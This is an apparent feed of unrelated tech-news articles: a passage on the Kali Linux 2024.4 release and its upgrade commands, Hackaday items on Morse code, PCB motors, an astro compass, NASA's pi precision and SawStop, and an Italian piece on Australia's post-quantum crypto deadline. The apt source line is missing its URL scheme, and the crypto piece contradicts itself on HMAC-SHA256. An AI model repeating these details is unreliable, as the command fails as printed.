Supporto migliorato per Raspberry Pi Imager, che consente di preconfigurare un’immagine Kali per Raspberry Pi. Ora puoi impostare il nome host, le opzioni di accesso, le chiavi SSH, la configurazione Wi-Fi e le impostazioni locali prima di scrivere l’immagine sulla scheda microSD.

Raspberry Pi Imager (Kali.org)

Modifiche sul desktop. L’ambiente GNOME 47 aggiornato offre il supporto per la modifica del colore principale dell’interfaccia. Sono stati aggiunti anche un nuovo dashboard di sistema e un tema di accesso.

Nuova interfaccia di accesso per Kali Linux 2024.4 ( Kali.org )

Come aggiornare a Kali Linux 2024.4.

Per iniziare a utilizzare Kali Linux 2024.4, puoi aggiornare la versione esistente, selezionare una piattaforma o scaricare direttamente le immagini ISO per nuove installazioni e distribuzioni live.

Gli utenti di versioni precedenti possono aggiornare utilizzando i seguenti comandi:
┌──(kali㉿kali)-[~]
└─$ echo "deb http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]

┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]

┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f
Una volta completato il processo, puoi verificare la versione di Kali Linux con il comando:
┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION_ID="2024.4"
VERSION="2024.4"
VERSION_CODENAME=kali-rolling

┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)

┌──(kali㉿kali)-[~]
└─$ uname -r
6.11.2-amd64
L’elenco completo delle modifiche è disponibile sul sito ufficiale di Kali.

L'articolo Esce Kali Linux 2024.4! 14 nuovi strumenti e il futuro dell’hacking su Raspberry Pi! proviene da il blog della sicurezza informatica.

If you were in Tunisia in October, you might have caught some of the Morse Code championships this year. If you didn’t make it, you could catch the BBC’s documentary about the event, and you might be surprised at some of the details. For example, you probably think sending and receiving Morse code is only for the elderly. Yet the defending champion is 13 years old.

Teams from around the world participated. There was stiff competition from Russia, Japan, Kuwait, and Romania. However, for some reason, Belarus wins “almost every time.” Many Eastern European countries have children’s clubs that teach code. Russia and Belarus have government-sponsored teams.

Morse code is very useful to amateur radio operators because it allows them to travel vast distances using little power and simple equipment. Morse code can also assist people who otherwise might have problems communicating, and some assistive devices use code, including a Morse code-to-speech ring the podcast covers.

The speed records are amazing and a young man named [Ianis] set a new record of 1,126 marks per minute. Code speed is a little tricky since things like the gap size and what you consider a word or character matter, but that’s still a staggering speed, which we estimate to be about 255 words per minute. While we can copy code just fine, at these speeds, it sounds more like modem noises.

Learning Morse code isn’t as hard as it sounds. Your computer can help you learn, but in the old days, you had to rely on paper tape.

hackaday.com/2024/12/17/the-wo…

If you aren’t up to date with [Carl Bugeja]’s work with tiny brushless PCB motors, his summary video of his latest design and all the challenges it involved is an excellent overview.

Back in 2018 we saw [Carl]’s earliest versions making their first spins and it was clear he was onto something. Since then they have only improved, but improvement takes both effort and money. Not only does everything seemingly matter at such a small scale, but not every problem is even obvious in the first place. Luckily, [Carl] has both the determination and knowledge to refine things.
Hardware development is expensive, especially when less than a tenth of a millimeter separates a critical component from the junk pile.
The end result of all the work is evident in his most recent test bed: an array of twenty test motors all running continuously at a constant speed of about 37,000 RPM. After a month of this, [Carl] disassembled and inspected each unit. Each motor made over 53 million rotations per day, closing out the month at over 1.6 billion spins. Finding no sign of internal scratches or other damage, [Carl] is pretty happy with the results.

These motors are very capable but are also limited to low torque due to their design, so a big part of things is [Carl] exploring and testing different possible applications. A few fun ones include a wrist-mounted disc launcher modeled after a Spider-Man web shooter, the motive force for some kinetic art, a vibration motor, and more. [Carl] encourages anyone interested to test out application ideas of their own. Even powering a micro drone is on the table, but will require either pushing more current or more voltage, both of which [Carl] plans to explore next.

Getting any ideas? [Carl] offers the MotorCell for sale to help recover R&D costs but of course the design is also open source. The GitHub repository contains code and design details, so go ahead and make them yourself. Or better yet, integrate one directly into your next PCB.

Got an idea for an application that would fit a motor like this? Don’t keep it to yourself, share in the comments.

youtube.com/embed/CVszJMlvZcA?…

hackaday.com/2024/12/17/pcb-mo…

Although a lot of tools have been digitized and consolidated into our smartphones, from cameras, music players, calendars, alarm clocks, flashlights, and of course phones, perhaps none are as useful as the GPS and navigational capabilities. The major weakness here, though, is that this is a single point of failure. If there’s no cell service, if the battery dies, or you find yourself flying a bomber during World War II then you’re going to need another way to navigate, possibly using something like this Astro Compass.

The compass, as its name implies, also doesn’t rely on using the Earth’s magnetic field since that would have been difficult or impossible inside of an airplane. Instead, it can use various celestial bodies to get a heading. But it’s not quite as simple as pointing it at a star and heading off into the wild blue yonder. First you’ll need to know the current time and date and look those up in a companion chart. The chart lists the global hour angle and the declination for a number of celestial bodies which can be put into the compass. From there the latitude is set and the local hour angle is calculated and set, and then the compass is rotated until the object is sighted. After all of that effort, a compass heading will be shown.

For all its complexity, a tool like this can be indispensable in situations where modern technology fails. While it does rely on precise tabulated astrometric data to be on hand, as long as that’s available it’s almost failsafe, especially compared to a modern smartphone. Of course, you’ll also need a fairly accurate way of timekeeping which can be difficult in some situations.

youtube.com/embed/w_e_wOifi3o?…

hackaday.com/2024/12/17/a-comp…

If you’re new to the world of circular math, you might be content with referring to pi as 3.14. If you’re getting a little more busy with geometry, science, or engineering, you might have tacked on a few extra decimal places in your usual calculations. But what about the big dogs? How many decimal places do NASA use?
NASA doesn’t need this many digits. It’s likely you don’t either. Image credits: NASA/JPL-Caltech
Thankfully, the US space agency has been kind enough to answer that question. For the highest precision calculations, which are used for interplanetary navigation, NASA uses 3.141592653589793 — that’s fifteen decimal places.

The reason why is quite simple, going into any greater precision is unnecessary. The article demonstrates this by calculating the circumference of a circle with a radius equal to the distance between Earth and our most distant spacecraft, Voyager 1. Using the formula C=2pir with fifteen decimal places of pi, you’d only be off on the true circumference of the circle by a centimeter or so. On solar scales, there’s no need to go further.

Ultimately, though, you can calculate pi to a much greater precision. We’ve seen it done to 10 trillion digits, an effort which flirts with the latest Marvel movies for the title of pure irrelevance. If you’ve done it better or faster, don’t hesitate to let us know!

hackaday.com/2024/12/17/why-na…

L’Australia ha deciso di eliminare gradualmente le tecnologie crittografiche, che attualmente costituiscono la base della sicurezza Internet, entro il 2030. La mossa arriva tra le preoccupazioni che i progressi nell’informatica quantistica potrebbero rendere inaffidabili gli attuali algoritmi molto prima che altri paesi pianifichino di adottare misure simili.

L’Australian Signals Directorate (ASD) ha pubblicato raccomandazioni per i dispositivi HACE (High Assurance Cryptographic Equipment) che trasmettono e ricevono dati sensibili. Il documento afferma che gli algoritmi SHA-256 , RSA, ECDSA ed ECDH non dovrebbero essere utilizzati dopo il 2030.

Gli esperti hanno già espresso sorpresa per scadenze così ambiziose, soprattutto alla luce della prassi internazionale. Gli esperti hanno notato che gli algoritmi in questione vengono utilizzati in quasi tutte le connessioni web:

• ECDH viene utilizzato per lo scambio di chiavi;
• ECDSA o RSA – per l’autenticazione del server;
• SHA-256 – per garantire l’integrità dei dati trasmessi.

La rimozione di quest’ultimo è contraria alle attuali raccomandazioni internazionali.

La ragione per abbandonare questi algoritmi è legata ai progressi previsti nelle tecnologie quantistiche. I computer quantistici potrebbero rappresentare una seria minaccia per i metodi di crittografia tradizionali a causa della loro capacità di elaborare problemi matematici complessi nel più breve tempo possibile.

Già nel 2016 è iniziato lo sviluppo di algoritmi resistenti agli attacchi quantistici. Nel 2024 sono stati approvati tre algoritmi post-quantistici : ML-KEM, ML-DSA e SLH-DSA. Queste tecnologie dovrebbero garantire la protezione dei dati a fronte della crescente potenza di calcolo.

Le raccomandazioni ASD forniscono tempistiche e requisiti specifici per la sostituzione dei metodi obsoleti:

1. AES. Nonostante l’affidabilità di AES-256, gli algoritmi AES-128 e AES-192 saranno vietati dall’uso dopo il 2030 a causa della vulnerabilità dell’algoritmo Grover.
2. RSA. Per RSA, la dimensione minima della chiave deve essere 3072 bit (sicurezza a 128 bit), ma si prevede che RSA verrà completamente eliminato entro il 2030.
3. Hashing. Sebbene SHA-256 sia attualmente considerato sicuro, ASD consiglia di passare a SHA-384. In particolare, SHA-224 e SHA-256 non saranno approvati dopo il 2030.
4. MAC. HMAC-SHA256, HMAC-SHA384 e HMAC-SHA512 sono proposti come metodi di autenticazione, ma è vietato anche HMAC-SHA256.
5. DH ed ECDH . Per i metodi di scambio della chiave ellittica, il valore minimo è 224 bit. Tuttavia, verrà escluso anche il P-256, che fornisce sicurezza a 128 bit. ASD consiglia l’uso del P-384.
6. ECDSA. Come con l’ECDH, l’algoritmo richiede una curva minima di 224 bit, ma sarà gradualmente eliminato entro il 2030.

Resta aperta la questione della flessibilità nei tempi della transizione.

È possibile che le apparecchiature non HACE ricevano più tempo per l’aggiornamento. Tuttavia, l’impegno dell’Australia a rafforzare la sicurezza crittografica entro il 2030 segna una nuova fase nello sviluppo della sicurezza informatica globale.

Gli esperti sottolineano che un’implementazione così rapida dei nuovi standard sarà un compito difficile. Oggi quasi tutte le connessioni web e gli elementi infrastrutturali sicuri si basano su ECDH e RSA/ECDSA. L’aggiornamento dei sistemi richiederà uno sforzo significativo nei prossimi anni.

L'articolo Rivoluzione Pre Quantistica: L’Australia dice addio alla crittografia tradizionale proviene da il blog della sicurezza informatica.

If you ask around a wood shop, most people will agree that the table saw is the most dangerous tool around. There’s ample evidence that this is true. In 2015, over 30,000 ER visits happened because of table saws. However, it isn’t clear how many of those are from blade contact and how many are from other problems like kickback.

We’ve seen a hand contact a blade in a high school shop class, and the results are not pretty. We’ve heard of some people getting off lucky with stitches, reconstructive surgery, and lifelong pain. They are the lucky ones. Many people lose fingers, hands, or have permanent disfiguration and loss of function. Surgeons say that the speed and vigor of the blade means that some of the tissue around the cut vanishes, making reconstruction very difficult.

Modern Tech

These days, there are systems that can help prevent or mitigate these kinds of accidents. The most common in the United States is the patented SawStop system, which is proprietary — that is, to get it, you have to buy a saw from SawStop.

The system assumes the blade is all metal. It can detect your hand making contact with the blade, and if that happens, the saw reacts within 5 milliseconds. The system releases a beefy spring that jams an aluminum block into the saw blade, halting the 4,000 RPM rotation almost instantly. The force also moves the blade under the table. The cartridge that stops the blade and the blade won’t survive the encounter, but your finger will.

youtube.com/embed/7-FZWOYAyUM?…

Tear It Down!

Of course, being Hackaday, we want to see what’s inside the cartridge, and [Spag the Maker] was happy to oblige. As he points out, the sensor sometimes fires when it shouldn’t, but that’s better than not firing when it should.

In this case, the cartridge fired after contact with a metal tape measure. We’ve heard wet wood can also cause false positives. You can see the inside of the dead cartridge in the video below.

youtube.com/embed/ElgK9hFMwIA?…

Patents

A figure from the “840” patent
SawStop owns several patents that prevented other similar systems from entering the market. Although many of the patents are now expired, there is one — known as the 840 patent — that is very broad and won’t expire until 2033. However, the current owners of the patent — TTS Tooltechnic — have claimed that if government regulation mandates table saws to have protection devices, they will release the patent to the public.

However, until that happens, the company continues to defend its patents vigorously. The most famous case was against Bosch, who has a competing system called Reaxx. The systems are superficially similar, but Reaxx does not destroy the blade, which only moves out of the way.

youtube.com/embed/B3JsUGwt_Mg?…

Even this year, SawStop litigated against Felder KG, another competitor. There have been accusations that SawStop won’t reasonably license their technology, either, but we don’t know the whole story. Anyway, they’re no Volvo.

Safety First

If you don’t think a woodshop is that dangerous, have a look at “It Didn’t Have to Happen” from many years ago. This isn’t a new problem.

youtube.com/embed/xxw5gl1Z2Yk?…

The Consumer Product Safety Commission has tried to force protection systems on table saws for many years. The industry, in general, opposes them as unnecessary and expensive. The controversy is heated, with proponents pointing to the 30,000 plus injuries a year and the cost to the injured and society. The opponents talk about free markets and government interference in your shop. We won’t take sides, but having seen an injury of this type, we’ll spend our money on a safer saw even if no one is making us do it.

Then again, no one is stopping you from making your own saw with whatever safety systems you like. We’ve seen many builds based around a circular saw.

hackaday.com/2024/12/17/tech-i…